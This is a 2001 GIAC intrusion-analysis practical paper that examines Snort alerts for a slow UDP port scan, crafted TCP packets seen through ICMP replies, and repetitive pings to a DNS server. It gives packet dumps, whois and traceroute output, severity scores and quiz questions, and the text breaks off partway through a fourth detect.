Global Information Assurance Certification Paper

Detects & Analyses

GCIA Practical Assignment, version 2.8b

MWC MBUS 541 / GIAC Intrusion Detection In Depth

Robert Ashworth (ashwort002)

ASSIGNMENT 1 – NETWORK DETECTS

I don't regularly work with IDSs, and pickings for verbose very current detects that were not already analyzed by SANS and other analysts on www.incidents.org were few. However, when I did find some things to analyze, it became a very interesting exercise.

Detect No. 1

```
---------------------------------------------------------------

06/29-02:26:58.840188 0:60:9:C4:16:7A -> 0:A0:24:5:EB:8B type:0x800 len:0x3C
211.33.122.158:47407 -> My.Network.xxx.xxx:33443 UDP TTL:1 TOS:0x0 ID:59878
IpLen:20 DgmLen:38
Len: 18
0x0000: 00 A0 24 05 EB 8B 00 60 09 C4 16 7A 08 00 45 00  ..$....`...z..E.
0x0010: 00 26 E9 E6 00 00 01 11 09 BB D3 21 7A 9E C7 4C  .&.........!z..L
0x0020: B1 19 B9 2F 82 A3 00 12 00 00 5E 9D 3C 3B 70 88  .../......^.<;p.
0x0030: 06 00 09 0D 06 0D 65 61 63 6F 6E 40              ......eacon@

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

06/29-02:31:27.048950 0:60:9:C4:16:7A -> 0:A0:24:6:6A:4F type:0x800 len:0x3C
211.33.122.158:47947 -> My.Network.xx.xxx:33444 UDP TTL:1 TOS:0x0 ID:553
IpLen:20 DgmLen:38
Len: 18
0x0000: 00 A0 24 06 6A 4F 00 60 09 C4 16 7A 08 00 45 00  ..$.jO.`...z..E.
0x0010: 00 26 02 29 00 00 01 11 F1 4D D3 21 7A 9E C7 4C  .&.).....M.!z..L
0x0020: B1 44 BB 4B 82 A4 00 12 00 00 6A 9E 3C 3B 56 53  .D.K......j.<;VS
0x0030: 0A 00 0A 0E 00 00 00 00 00 00 00 00              ............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

```
inetnum:    211.32.0.0 - 211.39.255.255
netname:    KRNIC-KR
descr:      KRNIC
descr:      Korea Network Information Center
country:    KR
admin-c:    HM127-AP
tech-c:     HM127-AP
remarks:    ******************************************
remarks:    KRNIC is the National Internet Registry
remarks:    in Korea under APNIC. If you would like to
remarks:    find assignment information in detail
remarks:    please refer to the KRNIC Whois DB
remarks:    http://whois.nic.or.kr/english/index.html
remarks:    ******************************************
```

mnt-by: APNIC-HM
mnt-lower: MNT-KRNIC-AP
changed: hostmaster@xxxxxxxxx 19990827
changed: hostmaster@xxxxxxxxx 20010606
source: APNIC

person: Host Master
address: Korea Network Information Center
address: Narajongkeum B/D 14F, 1328-3, Seocho-dong, Seocho-ku, Seoul, 137-070, Republic of Korea
country: KR
phone: +82-2-2186-4500
fax-no: +82-2-2186-4496
e-mail: hostmaster@xxxxxxxxx
nic-hdl: HM127-AP
mnt-by: MNT-KRNIC-AP
changed: hostmaster@xxxxxxxxx 20010514
source: APNIC

1. Source of Trace.

From http://www.incidents.org/archives/intrusions/msg00947.html, submitted by Rich Phelps on Fri Jun 29 2001 with the following message:

Greetings:
My IDS logged an inappropriate packets scanning my network from an IP address associated with your email address.

Please examine the host located at 211.33.122.158 for signs of compromise, inappropriate user activity, or configuration issues.

Thank you.

Rich

2. Detect was generated by:

Snort intrusion detection system.

3. Probability the source address was spoofed:

I believe this is a slow port scan of the host, and possibly the whole network from the source Korean host. There is no evidence of source routing, so in order to receive back responses, the user would have to use his/her actual IP address.

Destination ports incremented with 5 minutes between them. Probably not a crafted packet. It's UDP with an end TTL of 1, similar to a traceroute. This appears to be a port-to-port scan of the user's system.

5. Attack mechanism:

This appears to be part of a slow port scan. Probably scripted, there is a large discrepancy between the source ephemeral port numbers and the ID. Therefore, the scan may be port-by-port for a range of IP addresses, and this user may only be protecting the one IP.

6. Correlations:

Matt Fearnow, the handler on duty for incidents.org attributed his 18 April report primarily to Laurie@edu. This attack address was seen performing mischievous activities on 11 April. http://www.incidents.org/archives/y2k/041801.htm.

This is similar to the portscans detected and listed on the April 12, 2000 incidents.org Handler report (Stephen Northcutt on duty) snipped out of http://www.sans.org/y2k/041200.htm as follows:

> Qwest Cybercenters, Weehawken NJ, USA
> Most likely latency or load balancing

```
Apr 8 02:23:28 dns1 snort[179978]: spp_portscan:
PORTSCAN DETECTED from 63.236.82.149
Apr 8 02:23:34 dns1 snort[179978]: spp_portscan: portscan status
from 63.236.82.149: 8 connections across 1 hosts: TCP(0), UDP(8)
Apr 8 02:23:40 dns1 snort[179978]: spp_portscan: End of portscan
from 63.236.82.149
--------
Apr 8 02:23:28 63.236.82.149:33070 -> z.y.x.34:33441 UDP
Apr 8 02:23:28 63.236.82.149:33070 -> z.y.x.34:33442 UDP
Apr 8 02:23:28 63.236.82.149:33070 -> z.y.x.34:33443 UDP
Apr 8 02:23:28 63.236.82.149:33070 -> z.y.x.34:33444 UDP
Apr 8 02:23:28 63.236.82.149:33070 -> z.y.x.34:33445 UDP
Apr 8 02:23:28 63.236.82.149:33070 -> z.y.x.34:33446 UDP
Apr 8 02:23:29 63.236.82.149:33070 -> z.y.x.34:33447 UDP
Apr 8 02:23:29 63.236.82.149:33070 -> z.y.x.34:33448 UDP
```

7. Evidence of active targeting:

I believe based on the source port and IP ID increments that this is a scripted port scan for port-by-port reconnaissance of a range of IP addresses.

8. Severity:

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

- Criticality: 4 – Actual host purpose has not been provided, so I give it a relatively high criticality score.
- Lethality: 1 – At this stage, it's only reconnaissance.
- System Countermeasures: 3 – Modern Operating System, patches unknown
- Network Countermeasures: 3 – IDS is in place and actively monitored. Presence of firewall is unknown, so will assume "no".

Severity = (4 +1) – (3 + 3) = 5 - 6 = -1

9. Defensive recommendation:

Update firewall rules or border router ACL to log all and filter/shun the Korean 211.32.0.0 - 211.39.255.255 IP range. Create a Watchlist for external IDS sensors to watch for incoming 211.x.x.x addresses.

10. Multiple choice test question:

What are indications that a lot of communication activity has occurred on the source host between the receipt of two UDP packets?

a) Source ephemeral port number is greater than 40000
b) IP ID number is greater than 40000
c) The timestamp has incremented by more than 5 seconds.
d) The difference between the source ephemeral port numbers used by the source system is significant.

Answer: "d".

Detect #2

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
ICMP_UNRCH_FRAG_NEEDED
snoop3# cat *
[**] ICMP Destination Unreachable [**]
05/11-05:46:13.462149 MY.NET.55.188 -> MY.NET.2.36
ICMP TTL:255 TOS:0x0 ID:43959 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.36:8585 -> MY.NET.55.188:1860
TCP TTL:61 TOS:0x0 ID:39176 IpLen:20 DgmLen:1452
****PRS* Seq: 0x21A495FF  Ack: 0xF5C2FB3A  Win: 0x700  TcpLen: 40
** END OF DUMP
00 00 05 9E 45 00 05 AC 99 08 40 00 3D 06 2D 33  ....E.....@x=.-3
9C 18 02 24 9C 18 37 BC 21 89 07 44 21 A4 95 FF  ...$..7.!..D!...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
05/11-05:58:53.688162 MY.NET.55.188 -> MY.NET.2.36
ICMP TTL:255 TOS:0x0 ID:44130 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.36:8585 -> MY.NET.55.188:1981
TCP TTL:61 TOS:0x0 ID:30003 IpLen:20 DgmLen:1500
1******F Seq: 0x52772378  Ack: 0xEDC5FB3A  Win: 0xA00  TcpLen: 32
** END OF DUMP
00 00 05 9E 45 00 05 DC 75 33 40 00 3D 06 50 D8  ....E...u3@x=.P.
9C 18 02 24 9C 18 37 BC 21 89 07 BD 52 77 23 78  ...$..7.!...Rw#x

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
05/11-06:03:50.938140 MY.NET.55.188 -> MY.NET.2.36
ICMP TTL:255 TOS:0x0 ID:44163 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.36:8585 -> MY.NET.55.188:2018
TCP TTL:61 TOS:0x0 ID:15974 IpLen:20 DgmLen:1500
*2*A**S* Seq: 0x686A3B71  Ack: 0x16C7FB3A  Win: 0xE00  TcpLen: 0
** END OF DUMP
00 00 05 9E 45 00 05 DC 3E 66 40 00 3D 06 87 A5  ....E...>f@x=...
9C 18 02 24 9C 18 37 BC 21 89 07 E2 68 6A 3B 71  ...$..7.!...hj;q

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

```
[**] ICMP Destination Unreachable [**]
05/11-07:14:39.822235 MY.NET.55.188 -> MY.NET.2.36
ICMP TTL:255 TOS:0x0 ID:44782 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.36:8585 -> MY.NET.55.188:2469
TCP TTL:61 TOS:0x0 ID:59819 IpLen:20 DgmLen:1452
1***PR*F Seq: 0x865E6235  Ack: 0xAFD7FB3A  Win: 0xC00  TcpLen: 20
** END OF DUMP
00 00 05 9E 45 00 05 AC E9 AB 40 00 3D 06 DC 8F  ....E.....@x=...
9C 18 02 24 9C 18 37 BC 21 89 09 A5 86 5E 62 35  ...$..7.!....^b5

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
05/11-07:22:20.734487 MY.NET.55.188 -> MY.NET.2.20
ICMP TTL:255 TOS:0x0 ID:44855 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.20:8585 -> MY.NET.55.188:2518
TCP TTL:61 TOS:0x0 ID:35996 IpLen:20 DgmLen:1500
**UA*RS* Seq: 0xE52E6736  Ack: 0x7CD9FB3A  Win: 0xB00  TcpLen: 28  UrgPtr:
0x0
** END OF DUMP
00 00 05 9E 45 00 05 DC 8C 9C 40 00 3D 06 39 7F  ....E.....@x=.9.
9C 18 02 14 9C 18 37 BC 21 89 09 D6 E5 2E 67 36  ......7.!.....g6

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
05/11-07:22:20.734853 MY.NET.55.188 -> MY.NET.2.20
ICMP TTL:255 TOS:0x0 ID:44856 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.20:8585 -> MY.NET.55.188:2518
TCP TTL:61 TOS:0x0 ID:35997 IpLen:20 DgmLen:1500
**UA*RS* Seq: 0xE52E6CEA  Ack: 0x7CD9FB3A  Win: 0xB00  TcpLen: 60  UrgPtr:
0x0
** END OF DUMP
00 00 05 9E 45 00 05 DC 8C 9D 40 00 3D 06 39 7E  ....E.....@x=.9~
9C 18 02 14 9C 18 37 BC 21 89 09 D6 E5 2E 6C EA  ......7.!.....l.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
```

```
05/11-07:40:51.297068 MY.NET.55.188 -> MY.NET.2.36
ICMP TTL:255 TOS:0x0 ID:45034 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.36:8585 -> MY.NET.55.188:2634
TCP TTL:61 TOS:0x0 ID:60804 IpLen:20 DgmLen:1452
1***P**F Seq: 0xE74ABB6A  Ack: 0xD3DDFB3A  Win: 0x400  TcpLen: 52
** END OF DUMP
00 00 05 9E 45 00 05 AC ED 84 40 00 3D 06 D8 B6  ....E.....@x=...
9C 18 02 24 9C 18 37 BC 21 89 0A 4A E7 4A BB 6A  ...$..7.!..J.J.j

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
05/11-08:00:31.088601 MY.NET.55.188 -> MY.NET.2.20
ICMP TTL:255 TOS:0x0 ID:45277 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.20:8585 -> MY.NET.55.188:2769
TCP TTL:61 TOS:0x0 ID:12231 IpLen:20 DgmLen:1500
*2*AP*S* Seq: 0x715DC8E7  Ack: 0x6FE2FB3A  Win: 0x100  TcpLen: 16
** END OF DUMP
00 00 05 9E 45 00 05 DC 2F C7 40 00 3D 06 96 54  ....E.../.@x=..T
9C 18 02 14 9C 18 37 BC 21 89 0A D1 71 5D C8 E7  ......7.!...q]..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ICMP Destination Unreachable [**]
05/11-08:08:33.413153 MY.NET.55.188 -> MY.NET.2.34
ICMP TTL:255 TOS:0x0 ID:45370 IpLen:20 DgmLen:56 DF
DESTINATION UNREACHABLE: FRAGMENTATION NEEDED
** ORIGINAL DATAGRAM DUMP:
MY.NET.2.34:8585 -> MY.NET.55.188:2825
TCP TTL:61 TOS:0x0 ID:22606 IpLen:20 DgmLen:1488
*2**PRSF Seq: 0xD8985C02  Ack: 0x51E4FB3A  Win: 0x600  TcpLen: 12
** END OF DUMP
00 00 05 9E 45 00 05 D0 58 4E 40 00 3D 06 6D CB  ....E...XN@x=.m.
9C 18 02 22 9C 18 37 BC 21 89 0B 09 D8 98 5C 02  ..."..7.!.....\.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

1. Source of Trace.

From www.incidents.org/archives/intrusions/msg00172.html, submitted by Paul Asadoorian on Fri May 11, 2001 with the following message:

I found the following on one of my internal sensors. The user is coming from a VPN, and the server is a proxy server for web traffic (squid). The weird TCP flags have me pretty stumped. Can anyone shed some light on this?

Thanks,
Paul

2. Detect was generated by:

Snort intrusion detection system.

3. Probability the source address was spoofed:

Because the user is coming in through a VPN, then the user must have access to the VPN authentication information. Although it is possible the address is spoofed, there is no evidence of this.

4. Description of attack:

The user is sending potentially crafted packets to the web server, presumably to break some feature. However, there is also a strange TTL problem. The value of 255 in the packets from MY.NET.55.188 to MY.NET.2.20 is the highest possible value for only a SUN Solaris box, which means that no routers would be between the two ending MY.NET IPs to decrement it to have a resulting TTL of 255. Now, if this is true, then the packets from MY.NET.2.20 to MY.NET.55.188 would travel a similar route; however, many operating systems have a starting TTL of 64 or 60. Sixty is too low, and then there must be at least 3 hops to decrement to 61 when reversing the path. While the value of 61 is not normally remarkable, The flags appear to be almost random combinations of flags, (e.g., *2**PRSF, **UA*RS*, *2*AP*S*, *2*A**S*, ****PRS*) which sounds scripted, but may be a command-line packet generator.

5. Attack mechanism:

This appears to be scripted ability to randomly or manually generate TCP flags into packets, presumably for operating system fingerprinting purposes.

6. Correlations:

There are various discussions of crafted packets at incidents.org. Although I could not find any prior reference to this exact signature, Brent Erickson did submit a similar signature (only one example, with 1*UA*R** flags set) on 5 June 2001 in his reply to the “New version of nMap?” thread.

7. Evidence of active targeting:

Because this is coming in on a VPN and the criticality of the proxy server, and the fact that these are not simply corrupted packets, but are most likely crafted, then one can only assume that this is active targeting.

8. Severity:

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

- Criticality: 4 –Proxy Server, estimate that the attacker may have already mapped this network
- Lethality: 3 –Web service files are in jeopardy.
- System Countermeasures: 3 – Modern Operating System, patches unknown.
- Network Countermeasures: 3 – IDS is in place and actively monitored. Presence of firewall is unknown, so will assume "no".

Severity= (4 +3) – (3 + 3) = 7 - 6 = 1

9. Defensive recommendation:

The IDS identified this problem. It is actively monitored. Recommend careful review of target host for signs of compromise. Recommend Management contact the VPN source user to find out what is happening, if this is an organizational situation.

10. Multiple choice test question:

Which of the following flag combinations is likely to be seen in normal TCP connection establishment traffic.

a) ***A**S*
b) *****RS*
c) **U*P*S*
d) ******SF

Answer: "a"

Detect No. 3

Snort has been catching Pings to our primary dns of the following form.
They come in five at a time from
64.14.117.10 no dns resolution, but live.
213.61.6.2 h-213.61.6.2.host.de.colt.net
212.62.17.145 no dns resolution, but live.
202.160.241.130 no dns resolution, but live.
204.176.88.5 no dns resolution, but live.

We were getting snort detects for these:

[**] IDS152 - PING BSD [**]
07/24-15:05:12.068524 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:15142 IpLen:20 DgmLen:84
Type:8 Code:0 ID:57213 Seq:24810 ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 ....
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 .... !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F 89:;<=>?

We were getting large quantities of the above (from everywhere), so we turned them off. It then became apparent that the following were in the mix: There is a repetitive pattern. There are not enough of these to DOS us, but they are frequent, and making us curious:

[**] PING *NIX Type [**]
07/24-15:51:41.175915 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:64740 IpLen:20 DgmLen:84
Type:8 Code:0 ID:57213 Seq:40365 ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 ....
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 .... !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F 89:;<=>?

Anyone know what these are? Or what the point might be?

More packets from one of these addresses follow below.

______

Barbara Inzina

Network Manager

Marine Biological Laboratory

Woods Hole, Massachusetts

```
[**] PING *NIX Type [**]
07/24-16:52:58.201929 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:15608 IpLen:20 DgmLen:84
Type:8  Code:0  ID:57213   Seq:56876  ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17  ................
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27  ........ !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37  ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F                          89:;<=>?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] PING *NIX Type [**]
07/24-18:25:50.109048 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:24623 IpLen:20 DgmLen:84
Type:8  Code:0  ID:57213   Seq:15676  ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17  ................
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27  ........ !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37  ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F                          89:;<=>?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] PING *NIX Type [**]
07/24-19:35:40.279999 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:31679 IpLen:20 DgmLen:84
Type:8  Code:0  ID:57213   Seq:42905  ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17  ................
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27  ........ !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37  ()*+,-./01234567
```

```
38 39 3A 3B 3C 3D 3E 3F                 89:;<=>?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] PING *NIX Type [**]
07/24-19:55:56.224016 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:6765 IpLen:20 DgmLen:84
Type:8  Code:0  ID:57213   Seq:30012  ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17  ................
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27  ........ !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37  ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F                 89:;<=>?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] PING *NIX Type [**]
07/25-10:33:38.287058 213.61.6.2 -> 128.128.172.155
ICMP TTL:45 TOS:0x0 ID:28191 IpLen:20 DgmLen:84
Type:8  Code:0  ID:57213   Seq:1148  ECHO
08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17  ................
18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27  ........ !"#$%&'
28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37  ()*+,-./01234567
38 39 3A 3B 3C 3D 3E 3F                 89:;<=>?

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

1. Source of Trace.

Posting to http://www.incidents.org/archives/intrusions/msg01193.html on July 27, 2001 by Barbara Inzina

2. Detect was generated by:

Snort intrusion detection system.

3. Probability the source address was spoofed:

There is a good degree of possibility that the source is spoofed. However, since these pings are coming in slowly, there is no discernable benefit to the sender for sending them with a spoofed source address, as any echo replies would go to the wrong host. However, since she is receiving these from multiple locations, the actual sender may be spoofing the source addresses as well, perhaps as some sort of denial of service to the sources from multiple locations, this being one of them, in their echo replies. However, she is not reporting any other malicious activity at this time, so it may be a new weird method of pinging a DNS to see if it is active, by some protocol. This source address is from network "RIPE-213", coordinated by Reseaux IP European Network Co-ordination Centre Singel 258, according to www.arin.net.

4. Description of attack:

TTL is always 45, ICMP ID is always 57213, Type = 8 (Echo Request / Ping), the ICMP sequence numbers, which should increment for each ICMP message sent, vary greatly. Although the TTL isn't necessarily a determinator of crafting as much as the IP ID, of the known operating systems, the closest number above 45 that might be used is 60, which means that these packets are always taking at least 25 hops, each time in her post, (it is possible but improbable that the packet traveling that takes at least 25 hops would always come through the same number of routers). Ms. Inzina indicates they are receiving these from multiple sources, but not near the quantity necessary for a denial of service attack. These packets are very likely crafted; it would be interesting to see the ones from the other sites.

5. Attack mechanism:

Crafted packet origination script. TTL is always 45, IP ID is always 57213, Type = 8 (Echo Request / Ping). The ICMP sequence numbers, which should increment for each ICMP message sent, vary greatly, so they may either be randomly generated, or the time differentials are due to the actual source sending similar activities to other sources.

6. Correlations:

No exact correlations could be located.

7. Evidence of active targeting:

Ms. Inzina states that she is getting these from multiple sources. If they truly are crafted, then the same perpetrator may be using multiple source addresses. It would be interesting to see the other packets to see any change in the TTL, ICMP_ID, ICMP sequence, and other fields.

8. Severity:

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

- Criticality: 5 –Primary DNS
- Lethality: 3 – There has not yet been any discernable motive.
- System Countermeasures: 3 – Modern Operating System, patches unknown.
- Network Countermeasures: 3 – IDS is in place and actively monitored. Presence of firewall is unknown, so will assume "no".

Severity = (5 +2) – (3 + 3) = 7 - 6 = 1

9. Defensive recommendation:

The IDS identified this problem. It is actively monitored. Recommend careful review of the DNS server for signs of compromise. Further recommend IP 213.61.6.2 be placed in a watch list to see what other traffic may come from this, and the other non-provided hosts sending these ICMPs.

10. Multiple choice test question:

Given the packet header information below, which of the following are true?

```
07/25-10:33:38.287058 BAD.GUY.6.2 -> OUR.NET.172.155
ICMP TTL:45 TOS:0x0 ID:28191 IpLen:20 DgmLen:84
Type:8  Code:0  ID:57213   Seq:1148  ECHO
```

a) The IP ID is 57213
b) The ICMP ID is 57213
c) The UDP ID is 57213
d) The ICMP ID is 65404 (28191 + 57213)

Answer "b"

Detect No. 4

```
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Server used for this query: www.ripe.net/perl/whois


inetnum:      217.80.0.0 - 217.89.31.255
netname:      DTAG-DIAL14
descr:        Deutsche Telekom AG
country:      DE
admin-c:      RH2086-RIPE
tech-c:       AH12705-RIPE
tech-c:       ST5359-RIPE
status:       ASSIGNED PA

Traceroute Results to Host 217.80.210.58
traceroute to 217.80.210.58 (217.80.210.58), 30 hops max, 40 byte packets
 1  208.240.88.100 (208.240.88.100)  0.596 ms  0.451 ms  0.455 ms
 2  63.101.250.17 (63.101.250.17)  0.238 ms  0.171 ms  0.171 ms
 3  pos3-2.gw2.dca8.alter.net (157.130.58.58)  0.897 ms  0.857 ms  0.860 ms
 4  0.so-3-0-0.XR1.DCA8.ALTER.NET (146.188.162.198)  1.305 ms  1.299 ms
1.489 ms
 5  POS6-0.BR2.DCA8.ALTER.NET (152.63.35.189)  1.596 ms  0.901 ms  0.902 ms
 6  204.255.168.174 (204.255.168.174)  1.373 ms  1.348 ms  1.378 ms
 7  so-3-2-0.washdc3-nbr2.bbnplanet.net (4.24.10.25)  1.620 ms  1.629 ms
1.619 ms
 8  so-7-0-0.washdc3-nbr1.bbnplanet.net (4.24.10.29)  1.783 ms  1.698 ms
1.708 ms
 9  p1-0.washdc3-cr9.bbnplanet.net (4.24.8.118)  1.523 ms  1.487 ms  1.513
ms
10  p0-0.deutscheti2.bbnplanet.net (4.24.204.82)  3.526 ms  3.166 ms  3.009
ms
11  F-gw13.F.net.DTAG.DE (194.25.6.97)  90.592 ms  89.779 ms  89.857 ms
12  MZ-EB1.MZ.DE.net.dtag.de (62.154.40.74)  91.175 ms  91.300 ms  91.206 ms
13  212.185.251.85 (212.185.251.85)  92.079 ms  91.977 ms  92.670 ms
14  212.185.251.85 (212.185.251.85)  92.127 ms !H * *
15  * * 212.185.251.85 (212.185.251.85)  91.985 ms !H
16  * 212.185.251.85 (212.185.251.85)  91.953 ms !H *
17  * 212.185.251.85 (212.185.251.85)  92.009 ms !H *
18  212.185.251.85 (212.185.251.85)  92.193 ms !H *  91.969 ms !H


------------------------------------------------------------------------

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4659 [**]
07/05-15:39:21.928573 217.80.210.58:2484 -> xxx.yyy.138.200:21
TCP TTL:13 TOS:0x0 ID:15143 IpLen:20 DgmLen:64 DF
******S* Seq: 0x5C6627E2  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

[**] spp_anomsensor: Anomaly threshold exceeded: 11.4679 [**]
07/05-15:44:12.224407 217.80.210.58:2498 -> xxx.yyy.209.154:21
TCP TTL:13 TOS:0x0 ID:41683 IpLen:20 DgmLen:64 DF
```

```
******S* Seq: 0x74FE4AA2  Ack: 0x0  Win: 0xB400  TcpLen: 44
TCP Options (9) => MSS: 1452 NOP WS: 3 NOP NOP TS: 0 0 NOP NOP
TCP Options => SackOK

***************************************************************************

Server used for this query: www.ripe.net/perl/whois

inetnum:      212.185.208.0 - 212.185.255.255
netname:      DTAG-DIAL9
descr:        Deutsche Telekom AG
country:      DE
admin-c:      RH2086-RIPE
tech-c:       AH12705-RIPE
tech-c:       ST5359-RIPE
status:       ASSIGNED PA

Traceroute Results to Host 212.185.233.74
traceroute to 212.185.233.74 (212.185.233.74), 30 hops max, 40 byte packets
 1  208.240.88.100 (208.240.88.100)  0.625 ms  0.516 ms  0.579 ms
 2  63.101.250.18 (63.101.250.18)  0.224 ms  0.223 ms  0.216 ms
 3  pos3-0.gw3.dca8.alter.net (157.130.58.62)  0.947 ms  0.947 ms  0.975 ms
 4  0.so-4-0-0.XR2.DCA8.ALTER.NET (152.63.37.34)  1.071 ms  1.062 ms  1.348
ms
 5  POS7-0.BR2.DCA8.ALTER.NET (152.63.35.193)  0.990 ms  0.949 ms  1.026 ms
 6  204.255.168.174 (204.255.168.174)  1.390 ms  1.369 ms  1.412 ms
 7  so-3-2-0.washdc3-nbr2.bbnplanet.net (4.24.10.25)  1.729 ms  1.662 ms
1.684 ms
 8  so-7-0-0.washdc3-nbr1.bbnplanet.net (4.24.10.29)  1.743 ms  1.743 ms
1.732 ms
 9  p1-0.washdc3-cr9.bbnplanet.net (4.24.8.118)  1.410 ms  1.449 ms  1.433
ms
10  p0-0.deutscheti2.bbnplanet.net (4.24.204.82)  3.408 ms  3.145 ms  3.135
ms
11  F-gw13.F.net.DTAG.DE (194.25.6.97)  90.099 ms  89.946 ms  90.028 ms
12  MZ-EB1.MZ.DE.net.dtag.de (62.154.40.74)  91.398 ms  91.515 ms  91.362 ms
13  212.185.251.85 (212.185.251.85)  91.913 ms  91.987 ms  91.903 ms
